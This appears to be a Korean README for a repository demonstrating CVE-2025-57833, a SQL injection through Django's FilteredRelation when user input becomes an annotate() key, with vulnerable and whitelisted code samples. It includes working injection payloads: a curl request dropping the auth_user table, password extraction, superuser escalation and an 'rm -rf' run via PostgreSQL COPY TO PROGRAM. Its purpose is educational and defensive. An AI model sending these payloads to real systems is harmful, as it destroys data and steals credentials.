
CVE-2025-57833을 테스트하기 위한 환경을 구축했습니다. 이 환경은 AI를 사용해 구축되었으므로 지속적으로 수정될 수 있습니다.
이 저장소는 Django ORM의 치명적인 SQL 인젝션 취약점인 CVE-2025-57833을 시연하고 설명합니다. 해당 취약점은 4.2(4.2.24 미만), 5.1(5.1.12 미만), 5.2(5.2.6 미만) 버전에 영향을 미칩니다.
CVSS 점수: 9.8 (치명적)
영향: 원격 코드 실행(RCE)으로 이어질 수 있는 SQL 인젝션
인증 필요 여부: 없음 (비인증 공격)
Django ORM(Object-Relational Mapping)은 개발자가 원시 SQL 대신 Python 코드로 데이터베이스와 상호작용할 수 있게 해줍니다. 예를 들어:
# 원시 SQL 대신: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation은 추가 필터링 조건으로 테이블을 조인할 수 있게 해주는 Django 기능입니다:
# 저자와 책을 조인하되, 활성 상태 저자만 조인
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
때로 개발자는 사용자 입력을 기반으로 필드 이름을 동적으로 생성해야 합니다:
# 사용자가 다양한 기준으로 검색하기를 원함
search_field = request.POST.get('field_name') # 사용자 입력: "title", "author" 등
# **kwargs를 사용한 동적 필드 생성
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
이 취약점은 annotate() 또는 alias()에서 소독되지 않은 사용자 입력이 FilteredRelation과 함께 딕셔너리 키로 사용될 때 발생합니다. 단계별 프로세스는 다음과 같습니다:
# 취약한 애플리케이션이 수행하는 방식:
user_input = request.POST.get('search_field') # 공격자가 이 값을 제어함
# 취약점이 여기에 있음 - 사용자 입력이 SQL 컬럼 별칭이 됨
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ 위험
})
공격자는 악의적인 입력을 보냅니다:
user_input = "malicious_field'; DROP TABLE users; --"
Django는 다음과 같은 SQL을 생성합니다:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
악의적인 SQL이 실행되어 다음과 같은 결과를 초래할 수 있습니다:
많은 Django 애플리케이션에는 사용자가 검색할 필드를 선택할 수 있는 검색 기능이 있습니다:
# views.py - 일반적인 취약 패턴
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# 개발자는 이것이 안전하다고 생각함 - 실제로는 안전하지 않음!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# 공격자는 다음 POST 요청을 보냅니다:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# 절대 이렇게 하지 마세요 - 딕셔너리 키로 직접 사용자 입력 사용
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL 인젝션!
})
# 안전 - 화이트리스트 검증 사용
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Invalid field")
queryset.annotate(**{
user_field: FilteredRelation('relation') # 이제 안전함
})
# 안전 - 정적 필드 이름 사용
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- 민감한 데이터 추출
'; SELECT username, password FROM auth_user; --
-- 데이터 수정
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- 시스템 명령 실행 (적절한 확장 기능이 있는 PostgreSQL)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Field '{field_name}' not allowed")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# 동적 필드 이름 대신 조건부 로직 사용
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Invalid search type")
최신 Django 버전으로 업데이트하세요:
이 저장소에는 완전한 테스트 환경이 포함되어 있습니다:
# 취약한 Django 애플리케이션 실행
docker-compose up
# 취약점 테스트
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
자세한 테스트 지침은 document/README.md를 참조하세요.
이 저장소는 교육 및 방어적 보안 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템을 공격하는 데 이 정보를 사용하지 마십시오.